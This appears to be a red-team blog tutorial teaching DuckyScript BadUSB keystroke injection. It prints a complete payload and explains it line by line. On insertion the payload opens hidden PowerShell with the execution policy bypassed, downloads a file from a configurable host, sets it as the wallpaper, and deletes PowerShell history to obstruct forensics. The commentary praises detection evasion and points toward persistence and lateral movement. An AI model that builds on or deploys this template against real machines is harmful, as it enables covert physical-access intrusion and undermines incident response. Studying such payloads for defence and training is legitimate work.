All scripts and penetration tools are for educational use only, and  must be used on your own networks/machines, or with explicit written permission. Hexmod Studios claims absolutely no responsibility for any unauthorized use of any scripts or tools.
Welcome to the Digital Battlefield, Cyber Warriors

Today we’re diving deep into the shadowy realm of DuckyScript – the language that transforms innocent-looking USB devices into powerful keystroke injection weapons. Whether you’re a red team operator looking to expand your arsenal or a security professional seeking to understand attack vectors, this lesson will elevate your offensive capabilities to the next level.

Today we’ll dissect a simple payload available to Hexmod’s Field Agents at our Mercenary Payload Repository, explore the fundamentals of DuckyScript, and try to arm YOU with the knowledge to craft your own resistance-grade attack scripts.

We’ll show you how to construct a simple DuckyScript Payload to change the wallpaper on the target machine. In thisd script, we will implement configurable parameters using DEFINE statements, execute PowerShell commands through keystroke injection, and try to minimize our detection footprint during execution of the payload. These objectives align with NIST NICE Framework work roles for Vulnerability Assessment Analysts, and Exploitation Analysts.

Arsenal Requirements:

Anatomy of Digital Warfare

DuckyScript represents the evolution of physical access attacks, transforming the traditional concept of “rubber ducky debugging” into a sophisticated attack vector. This language enables security professionals to automate complex keystroke sequences that would be impossible to execute manually at scale or with the speed of BadUSB devices.

Key advantages of this approach:

  • Universal compatibility across operating systems
  • Minimal detection footprint compared to traditional malware
  • Physical access exploitation that bypasses network security controls
  • Rapid deployment capabilities for time-sensitive operations
THE PAYLOAD
				
					REM ================================================================
REM HexScripts Wallpaper Changer Payload
REM Mercenary-grade wallpaper deployment for Windows targets
REM Compatible with Windows 10/11 - Payload Studio ready
REM ================================================================
REM 
REM REQUIRED CONFIGURATION:
REM - IMAGE_URL: Direct link to your wallpaper image (jpg/png/bmp)
REM - HOST_DOMAIN: Your payload hosting domain
REM 
REM OPTIONAL CONFIGURATION:
REM - INITIAL_DELAY: Adjust based on target boot time
REM - EXECUTION_DELAY: Fine-tune for slower systems
REM - IMAGE_NAME: Customize downloaded file name
REM 
REM HOSTING REQUIREMENTS:
REM - Host your wallpaper image on a reliable CDN or web server
REM - Ensure direct download links (no redirects or auth required)
REM - Test image accessibility before deployment
REM ================================================================

REM Define configurable parameters - HexMod style placeholders
DEFINE #IMAGE_URL https://example.com/wallpaper.jpg
DEFINE #IMAGE_NAME wallpaper.jpg
DEFINE #INITIAL_DELAY 3000
DEFINE #EXECUTION_DELAY 500
DEFINE #POWERSHELL_DELAY 2000

REM Initial system delay for target readiness
DELAY #INITIAL_DELAY

REM Launch PowerShell with execution policy bypass
GUI r
DELAY #EXECUTION_DELAY
STRING powershell -WindowStyle Hidden -ExecutionPolicy Bypass
ENTER
DELAY #POWERSHELL_DELAY

REM Download and set wallpaper payload
STRING try {
ENTER
STRING $imagePath = "$env:USERPROFILE\Pictures\#IMAGE_NAME"
ENTER
STRING Invoke-WebRequest -Uri "#IMAGE_URL" -OutFile $imagePath -UseBasicParsing
ENTER
STRING Add-Type -TypeDefinition 'using System.Runtime.InteropServices; public class Wallpaper { [DllImport("user32.dll", SetLastError = true)] public static extern bool SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni); }'
ENTER
STRING [Wallpaper]::SystemParametersInfo(20, 0, $imagePath, 3)
ENTER
STRING Write-Host "Wallpaper Attack deployed successfully"
ENTER
STRING } catch {
ENTER
STRING Write-Host "Deployment failed: $_"
ENTER
STRING }
ENTER

REM Exit PowerShell cleanly
DELAY 1000
STRING exit
ENTER

REM Clear PowerShell history for stealth
DELAY 500
GUI r
DELAY #EXECUTION_DELAY
STRING powershell -WindowStyle Hidden -Command "Clear-History; Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue"
ENTER

Payload Dissection: Warfare in Action

Let’s examine our wallpaper deployment payload line by line, understanding each component’s role in the overall attack chain.

Configuration Management

				
					DEFINE #IMAGE_URL https://example.com/wallpaper.jpg
DEFINE #IMAGE_NAME wallpaper.jpg
DEFINE #INITIAL_DELAY 3000
DEFINE #EXECUTION_DELAY 500
DEFINE #POWERSHELL_DELAY 2000

The DEFINE statement in DuckyScript 3.0 functions as a powerful preprocessor directive that creates reusable variables throughout your payload, fundamentally transforming how we approach keystroke injection development1. Think of DEFINE as creating a template system where you establish placeholders that get automatically replaced with actual values during compilation.

How DEFINE Works Under the Hood

 

 

When you use the DEFINE statement, the compiler performs text substitution before generating the final payload. Every instance of #IMAGE_URL in your script gets replaced with htt

ps://example.com/wallpaper.jpg, and every #INITIAL_DELAY becomes 3000. This happens at compile-time, not runtime, making it incredibly efficient.

Traditional hardcoded payloads require manual editing of multiple lines to change a single parameter. With 

DEFINE statements, you create a configuration block at the top of your payload. This approach mirrors enterprise software 

development practices where configuration is separated from business logic, enabling operational teams to modify deployment parameters without touching the core attack code.

 

 

 

System Reconnaissance and Preparation

				
					DELAY #INITIAL_DELAY
GUI r
DELAY #EXECUTION_DELAY
STRING powershell -WindowStyle Hidden -ExecutionPolicy Bypass
ENTER
DELAY #POWERSHELL_DELAY

This sequence demonstrates environmental awareness – a critical skill for red team operations. The initial delay accounts for system boot time and USB device recognition, while the GUI+R combination provides universal access to Windows execution environments.

Technical breakdown:

  • DELAY #INITIAL_DELAY: Ensures system readiness before payload execution
  • GUI r: Opens Windows Run dialog using universal keyboard shortcut
  • -WindowStyle Hidden: Minimizes visual indicators of payload execution
  • -ExecutionPolicy Bypass: Circumvents PowerShell security restrictions

The environmental awareness principle extends beyond simple timing considerations – it is fundamental in how we approach target system interaction. Professional red team operators must account for variables like hardware performance differences, security software interference, and user behavior patterns. The configurable delay system allows operators to adapt their payloads based on recon data gathered during the planning phase.

For instance, older corporate workstations with mechanical hard drives require significantly longer boot sequences compared to modern NVMe-equipped systems, while heavily monitored environments may need extended delays to avoid triggering behavioral analysis systems that flag rapid-fire keystrokes as malicious behavior.

The -ExecutionPolicy Bypass parameter specifically targets PowerShell’s built-in script execution restrictions, which many organizations rely on as a primary defense against malicious script execution. By combining this with the hidden window style, the payload achieves dual objectives: circumventing security controls while maintaining operational stealth.

This approach leverages the fact that PowerShell is a legitimate administrative tool and mirrors how system administrators use PowerShell for automation tasks, creating plausible deniability and reducing the likelihood of detection by security monitoring systems that focus on identifying obviously malicious executables rather than legitimate tool misuse.

 
Payload Execution
				
					STRING try {
ENTER
STRING $imagePath = "$env:USERPROFILE\Pictures\#IMAGE_NAME"
ENTER
STRING Invoke-WebRequest -Uri "#IMAGE_URL" -OutFile $imagePath -UseBasicParsing
ENTER
STRING Add-Type -TypeDefinition 'using System.Runtime.InteropServices; public class Wallpaper { [DllImport("user32.dll", SetLastError = true)] public static extern bool SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni); }'
ENTER
STRING [Wallpaper]::SystemParametersInfo(20, 0, $imagePath, 3)
ENTER

This section showcases PowerShell Weaponization and System API Manipulation, another fundamental red team technnique. By directly calling the SystemParametersInfo function, we bypass higher-level security controls, and allow the payload to download the target file to a predictable location within the user’s profile directory.

 

PowerShell’s integration into the Windows ecosystem provides native access to .NET Framework assemblies and Windows APIs without requiring additional software installation. This makes it an ideal attack vector, and allows attackers to “live off the land” and make malicious activity significantly harder for security teams to distinguish from legitimate tasks. Modern operators must increasing rely on this type of approach because traditional antivirus software struggles to identify malicious PowerShell usage when we employ legitimate cmdlets and follow expected patterns.

 

The Add-Type functionality used in our payload demonstrates a technique called Platform Invoke (P/Invoke) that allows PowerShell scripts to directly interface with unmanaged Windows APIs.

 

With the DLLImport function, our code dynamically compiles C# code, that imports the user32.dll library. This bypasses higher-level security measures, and communicates directly with the operating systems core functions. This is particularly useful, because it enables the attacker to access functionality that may not be traditionally exposed through standard PowerShell cmdlets, while still maintaining the stealth benefits of executing within a trusted process.

 

The SystemParametersInfo function call specifically targets Windows’ desktop subsystem. This approach mirrors techniques used in advanced persistent threat (APT) campaigns where attackers require granular control over system behavior while maintaining operational security. This dynamically compiled code evades detection as it exists only in memory during execution rather than as a static file on disk.

OpSec: The Art of Digital Stealth

				
					STRING Write-Host "Wallpaper Attack deployed successfully"
ENTER
STRING } catch {
ENTER
STRING Write-Host "Deployment failed: $_"
ENTER
STRING }
ENTER

REM Exit PowerShell cleanly
DELAY 1000
STRING exit
ENTER

REM Clear PowerShell history for stealth
DELAY 500
GUI r
DELAY #EXECUTION_DELAY
STRING powershell -WindowStyle Hidden -Command "Clear-History; Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue"

This final sequence to any payload should be clearing all evidence of the intrusion’s footprint, which is impleneted here with a try-catch error handling system.

Our core payload is encapsulated in a try block, while the catch block provides controlled failure handling that prevents system crashes or unexpected error dialogs that could alert users or security teams. This approach leverages PowerShell’s built-in exception handling, and maintains operational continuity even in the event of a disruption of the payload execution.

The Write-Host function call within the catch block serves a dual purpose: It provides operational feedback for debugging, while maintaining the appearance of legitimate administrative scripting. Security system often flag scripts that fail silently, or generate unusual error patterns, but our controller error output mimics standard administrative tasks and reduces the likelihood of behavioral analysis detection.

Our final evidence elimination sequence employs a variety of techniques that target PowerShell’s command history and logging mechanisms.

  • Clear-History: removes commands from the current PS Session history buffer.
  • Remove-Item: targets the PSReadLine history file, which persistently stores command history across multiple sessions. 
  • Get-PSReadlineOption: retrieves the current configuration to identify the exact location of the history file. Ensuring our cleanup operation targets the correct path, regardless of system configuration differencves. 
  • –ErrorAction SilentlyContinue: prevents error messages if the history file doesn’t exist or is locked, maintaining operational stealth even in edge cases. 

This multi-layered approach to evidence elimination puts a large roadblock in the way of incident response teams who rely heavily on PowerShell logging for forensic reconstruction of attack timelines. By systematically removing these artifacts, our payload significantly complicates post-incident analysis and attribution efforts.

EXPAND YOUR OFFENSIVE ARSENAL

Building on this foundation, advanced field agents can explore:

DuckyScript isn’t just another scripting language—it’s the bridge that transforms corporate wage slaves into digital deities wielding keystroke lightning. Through our simple wallpaper deployment payload, we’ve dissected the anatomy of electronic warfare: environmental reconnaissance, ghost-mode execution, failure protocols, and operational invisibility.

The skills demonstrated in this post form a foundation for advanced operations, from initial access to persistence and lateral movement. As you continue developing your offensive capabilities, remember that true mastery comes from understanding not just the technical implementation, but the strategic thinking behind each payload component.

THE DIGITAL BATTLEFIELD AWAITS, MERCENARIES

Armed with BadUSB Scripts and your Hexmod Arsenal, you’re ready to push the boundaries of what’s possible in offensive security operations.